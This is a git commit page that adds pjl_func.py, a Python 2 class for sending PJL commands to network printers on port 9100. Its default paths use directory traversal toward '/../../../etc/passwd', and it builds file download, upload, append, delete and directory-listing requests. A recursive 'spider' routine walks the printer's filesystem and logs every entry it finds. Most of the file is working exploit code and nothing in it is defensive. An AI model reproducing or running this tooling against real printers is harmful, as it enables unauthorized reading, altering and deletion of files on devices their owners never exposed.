initial
This commit is contained in:
root
403
pjl_func.py
Normal file
403
pjl_func.py
Normal file
@@ -0,0 +1,403 @@
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import select
|
||||
|
||||
class pjl_commands(object):
|
||||
def __init__(self):
|
||||
self.host="127.0.0.1"
|
||||
self.port=9100
|
||||
self.s = ""
|
||||
self.req = ""
|
||||
self.cnt = 0
|
||||
self.rBuf = ""
|
||||
self.sBuf = ""
|
||||
self.drive = "0:"
|
||||
self.hFile = "test.txt"
|
||||
self.dFile = "/../../../etc/passwd"
|
||||
self.lDir = "/../../../"
|
||||
self.path = "/../../../"
|
||||
self.home = "/../../../"
|
||||
self.ftype = ""
|
||||
self.size = 999999999
|
||||
self.downSize = 0
|
||||
self.upSize = 0
|
||||
self.saveData = "tmp.download.file"
|
||||
self.fileBuf = ""
|
||||
self.error=0
|
||||
self.errortype=0
|
||||
|
||||
def printError(self):
|
||||
"""whoohooo my own error function, believe me it is AWESOME!!"""
|
||||
if self.errortype == 0:
|
||||
print "Alright!"
|
||||
elif self.errortype == 1:
|
||||
print "Uhm."
|
||||
else:
|
||||
print "Unknown Errorcode: %d" % (self.errortype)
|
||||
|
||||
def createSocket(self, host, port):
|
||||
""" create the socket """
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((host,port))
|
||||
self.s = s
|
||||
return
|
||||
except socket.error,e:
|
||||
print "%s" % e
|
||||
return
|
||||
|
||||
def sendRequest(self,command):
|
||||
""" send the request """
|
||||
pjlS = "@PJL\r\n"
|
||||
try:
|
||||
self.s.send(pjlS)
|
||||
self.s.send(command)
|
||||
except socket.error, e:
|
||||
print "Error: %s" % e
|
||||
|
||||
return
|
||||
|
||||
def recvRequest(self):
|
||||
""" recv the data from the request and put it into a buffer """
|
||||
self.rBuf=self.s.recv(self.size)
|
||||
|
||||
def sendRequestSelect(self):
|
||||
""" send Data """
|
||||
outputs = [self.s]
|
||||
sdata = 0
|
||||
while len(outputs)>0:
|
||||
if sdata >= self.upSize:
|
||||
#if len(self.sBuf) >= self.upSize:
|
||||
print "Finished"
|
||||
break
|
||||
|
||||
print "while %d" % len(outputs)
|
||||
try:
|
||||
inputrdy,outputrdy,exceptrdy = select.select([],outputs,[])
|
||||
except select.error, e:
|
||||
break
|
||||
|
||||
except socket.error, e:
|
||||
break
|
||||
|
||||
for canidate in outputrdy:
|
||||
if canidate == self.s:
|
||||
print "send"
|
||||
data = self.s.send(self.fileBuf)
|
||||
#laenge wichtig hier
|
||||
#self.sBuf=self.sBuf+data
|
||||
sdata = sdata + data
|
||||
if not data:
|
||||
print "input: %d" % (len(self.sBuf))
|
||||
print "sdata: %d" % sdata
|
||||
break
|
||||
#print "data: %d" % (len(data))
|
||||
escE = "\r\n\x1b%-12345X"
|
||||
self.s.send(escE)
|
||||
|
||||
def recvRequestSelectNormal(self):
|
||||
""" recv the data from the request and put it into a buffer """
|
||||
running = 1
|
||||
inputs = [self.s]
|
||||
while running:
|
||||
|
||||
# print "while %d" % len(inputs)
|
||||
try:
|
||||
inputrdy,outputrdy,exceptrdy = select.select(inputs,inputs,[])
|
||||
#inputrdy,outputrdy,exceptrdy = select.select(inputs,[],[])
|
||||
except select.error, e:
|
||||
break
|
||||
|
||||
except socket.error, e:
|
||||
break
|
||||
for canidate in outputrdy:
|
||||
if canidate == self.s:
|
||||
break
|
||||
|
||||
for canidate in inputrdy:
|
||||
if canidate == self.s:
|
||||
print "recv"
|
||||
data = self.s.recv(1024)
|
||||
if data:
|
||||
self.rBuf=self.rBuf+data
|
||||
else:
|
||||
return
|
||||
# print "input: %d" % (len(self.rBuf))
|
||||
# print "data: %d" % (len(data))
|
||||
|
||||
def recvRequestSelect(self):
|
||||
""" recv the data from the request and put it into a buffer """
|
||||
running = 1
|
||||
inputs = [self.s]
|
||||
while len(inputs)>0:
|
||||
if len(self.rBuf) >= self.downSize:
|
||||
print "Finished"
|
||||
break
|
||||
|
||||
# print "while %d" % len(inputs)
|
||||
try:
|
||||
inputrdy,outputrdy,exceptrdy = select.select(inputs,[],[])
|
||||
except select.error, e:
|
||||
break
|
||||
|
||||
except socket.error, e:
|
||||
break
|
||||
|
||||
for canidate in inputrdy:
|
||||
if canidate == self.s:
|
||||
# print "recv"
|
||||
data = self.s.recv(1024)
|
||||
if data:
|
||||
self.rBuf=self.rBuf+data
|
||||
# print "input: %d" % (len(self.rBuf))
|
||||
# print "data: %d" % (len(data))
|
||||
|
||||
def parseRequest(self):
|
||||
""" pre-parse the request and remove control-sequences """
|
||||
self.rBuf = self.rBuf.replace('\x0c','')
|
||||
|
||||
def buildRequest(self, request):
|
||||
""" put together the request to send """
|
||||
#sequences
|
||||
escS = "\x1b%-12345X@PJL "
|
||||
escE = "\r\n\x1b%-12345X"
|
||||
|
||||
#commands
|
||||
infoid = "INFO ID"
|
||||
infofsys = "INFO FILESYS"
|
||||
infoconf = "INFO CONFIG"
|
||||
infomem = " INFO MEMORY"
|
||||
infopcount = "INFO PAGECOUNT"
|
||||
infostatus = "INFO STATUS"
|
||||
infovars = "INFO VARIABLES"
|
||||
infoustatus = "INFO USTATUS"
|
||||
|
||||
fsdownload = "FSDOWNLOAD FORMAT:BINARY NAME = "
|
||||
fsdirlist = "FSDIRLIST NAME = "
|
||||
fsupload = "FSUPLOAD NAME = "
|
||||
fsquery = "FSQUERY NAME = "
|
||||
fsmkdir = "FSMKDIR NAME = "
|
||||
fsappend = "FSAPPEND FORMAT:BINARY NAME = "
|
||||
fsdelete = "FSDELETE NAME = "
|
||||
ustatuson = "USTATUS"
|
||||
ustatusoff = "USTATUSOFF"
|
||||
|
||||
rdymsg = "RDYMSG DISPLAY = "
|
||||
opmsg = "OPMSG DISPLAY = "
|
||||
stmsg = "STMSG DISPLAY = "
|
||||
|
||||
if request=="infofsys":
|
||||
self.req = "%s%s%s" % (escS,infofsys,escE)
|
||||
|
||||
elif request=="getDrive":
|
||||
self.req = "%s%s%s" % (escS,infofsys,escE)
|
||||
|
||||
elif request=="infoconf":
|
||||
self.req = "%s%s%s" % (escS,infoconf,escE)
|
||||
|
||||
elif request=="infoid":
|
||||
self.req = "%s%s%s" % (escS,infoid,escE)
|
||||
|
||||
elif request=="infomem":
|
||||
self.req = "%s%s%s" % (escS,infomem,escE)
|
||||
|
||||
elif request=="infostatus":
|
||||
self.req = "%s%s%s" % (escS,infostatus,escE)
|
||||
|
||||
elif request=="infovars":
|
||||
self.req = "%s%s%s" % (escS,infovars,escE)
|
||||
|
||||
elif request=="infoustat":
|
||||
self.req = "%s%s%s" % (escS,infoustatus,escE)
|
||||
|
||||
elif request=="fsdirlist":
|
||||
self.req = "%s%s\"%s%s\" ENTRY=1 COUNT=999999999%s" % (escS,fsdirlist,self.drive,self.lDir ,escE)
|
||||
|
||||
elif request=="fsquery":
|
||||
self.req = "%s%s\"%s%s\"%s" % (escS,fsquery,self.drive,self.dFile,escE)
|
||||
|
||||
elif request=="fsupload":
|
||||
self.req = "%s%s\"%s%s\" OFFSET=0 SIZE=%d %s" % (escS,fsupload,self.drive,self.dFile,self.size,escE)
|
||||
|
||||
elif request=="fsdownload":
|
||||
self.req = "%s%s\"%s%s\" SIZE=%d\r\n" % (escS,fsdownload,self.drive,self.dFile,self.size)
|
||||
|
||||
elif request=="fsappend":
|
||||
self.req = "%s%s\"%s%s\" SIZE=%d\r\n" % (escS,fsappend,self.drive,self.dFile,self.size)
|
||||
|
||||
elif request=="fsmkdir":
|
||||
self.req = "%s%s\"%s%s\"%s" % (escS,fsmkdir,self.drive,self.dFile,escE)
|
||||
|
||||
elif request=="fsdelete":
|
||||
self.req = "%s%s\"%s%s\"%s" % (escS,fsdelete,self.drive,self.dFile,escE)
|
||||
|
||||
def parseFSQUERY(self):
|
||||
""" find type and size of file or dir or not exists"""
|
||||
data = self.rBuf
|
||||
print "Respone: %s" % data
|
||||
#check for error
|
||||
ferror = data.find('FILEERROR')
|
||||
if ferror>=0:
|
||||
self.error=1
|
||||
return -1
|
||||
else:
|
||||
self.error=0
|
||||
|
||||
#find type
|
||||
ftype = data.find('TYPE=')
|
||||
print ftype
|
||||
ftypeE = data.find(' ',ftype)
|
||||
ftype = data[ftype+5:ftypeE]
|
||||
self.ftype = ftype
|
||||
self.ftype = self.ftype.replace('\r','')
|
||||
self.ftype = self.ftype.replace('\n','')
|
||||
#self.ftype = self.ftype.rstrip()
|
||||
print "Filetype: [%s]" % self.ftype
|
||||
|
||||
if self.ftype == "FILE":
|
||||
s1 = data.find('SIZE=')
|
||||
s2 = data.find('\r\n')
|
||||
sz = data[(s1+5):s2]
|
||||
try:
|
||||
self.size = int(sz)
|
||||
except ValueError:
|
||||
print "Dang, recv buffer to small for dir, just reseting self.size"
|
||||
self.size=99999999
|
||||
print "SIZE: [%d]" % self.size
|
||||
|
||||
def loadFile(self):
|
||||
#remove last byte
|
||||
fr = open(self.hFile,"r")
|
||||
self.fileBuf = fr.read()
|
||||
fr.close()
|
||||
print "fileBuf: %d" % (len(self.fileBuf))
|
||||
|
||||
def saveFile(self):
|
||||
#remove last byte
|
||||
self.rBuf = self.rBuf[0:-1]
|
||||
fw = open(self.saveData,"w")
|
||||
fw.write(self.rBuf)
|
||||
fw.close()
|
||||
|
||||
def parseGetDrive(self):
|
||||
""" get the current drive from the filesys info
|
||||
attention only one drive added, possible more drives not
|
||||
taken care of """
|
||||
print "implement me"
|
||||
|
||||
def spiderSaveLog(self,lDir,rlist,logname):
|
||||
"""save spider data to logfile """
|
||||
print "lDir: %s" % lDir
|
||||
print "rlist: %s" % rlist
|
||||
|
||||
fw = open(logname,'a')
|
||||
print len(rlist)
|
||||
if len(rlist) == 1:
|
||||
write="%s\n" % (lDir)
|
||||
fw.write(write)
|
||||
|
||||
for item in rlist:
|
||||
if item != '':
|
||||
write="%s/%s\n" % (lDir, item)
|
||||
fw.write(write)
|
||||
|
||||
fw.close()
|
||||
|
||||
def buildListdir(self,lDir):
|
||||
"""sub-function for fslistdir"""
|
||||
dirWalk=[]
|
||||
self.lDir=lDir
|
||||
self.buildRequest("fsdirlist")
|
||||
self.sendRequest(self.req)
|
||||
self.size=9999999
|
||||
self.recvRequest()
|
||||
self.parseRequest()
|
||||
|
||||
rlist = self.rBuf.split('\r\n')
|
||||
#print rlist
|
||||
rlist.pop(0)
|
||||
rlist.pop(0)
|
||||
rlist.pop(0)
|
||||
# print rlist
|
||||
print "Dirlisting:"
|
||||
self.spiderSaveLog(lDir,rlist,self.host+'.log.txt')
|
||||
for item in rlist:
|
||||
print item
|
||||
|
||||
for item in rlist:
|
||||
f1 = item.find('TYPE=DIR')
|
||||
if f1 >= 0:
|
||||
i0 = item.split(' ')
|
||||
dirWalk.append(i0[0])
|
||||
|
||||
print dirWalk
|
||||
return dirWalk
|
||||
|
||||
def checkAccess(self, entry):
|
||||
self.lDir=entry
|
||||
self.buildRequest("fsdirlist")
|
||||
self.sendRequest(self.req)
|
||||
self.size=9999999
|
||||
self.recvRequest()
|
||||
self.parseRequest()
|
||||
|
||||
#check for error
|
||||
ferror = self.rBuf.find('FILEERROR')
|
||||
if ferror>=0:
|
||||
self.error=1
|
||||
return -1
|
||||
else:
|
||||
self.error=0
|
||||
|
||||
# print "buff: %s" % self.rBuf
|
||||
|
||||
def checkFileType(self, entry):
|
||||
"""check the filetype"""
|
||||
print "checkFileType"
|
||||
self.dFile = entry
|
||||
self.buildRequest("fsquery")
|
||||
self.sendRequest(self.req)
|
||||
self.size=99999999
|
||||
self.recvRequest()
|
||||
self.parseRequest()
|
||||
|
||||
self.parseFSQUERY()
|
||||
print "Type: [%s]" % (self.ftype)
|
||||
|
||||
return self.ftype
|
||||
|
||||
|
||||
def walkTree(self,edir):
|
||||
"""tree walk function, for walking remote directories"""
|
||||
|
||||
self.cnt+=1
|
||||
self.checkAccess(edir)
|
||||
self.checkFileType(edir)
|
||||
|
||||
if self.ftype != "DIR":
|
||||
print "Not directory, End"
|
||||
return
|
||||
elif self.error == 1:
|
||||
print "Fileerror"
|
||||
return
|
||||
|
||||
print "Absolute Path: %s" % self.dFile
|
||||
#self.buildListdir(self.dFile)
|
||||
saveDir=self.dFile
|
||||
for file in [ file for file in self.buildListdir(self.dFile)]:
|
||||
self.dFile=saveDir
|
||||
print "File: %s " % file
|
||||
print "dFile: %s" % self.dFile
|
||||
print "Path: %s" % self.path
|
||||
nfile = self.dFile+'/'+file
|
||||
print "nFile: %s" % nfile
|
||||
self.checkAccess(nfile)
|
||||
if self.error!=1:
|
||||
if self.checkFileType(nfile) == "DIR":
|
||||
print "got DIR!!"
|
||||
#return
|
||||
self.walkTree(nfile)
|
||||
|
||||
#print "Finished Spider"
|
||||
return
|
||||
Reference in New Issue
Block a user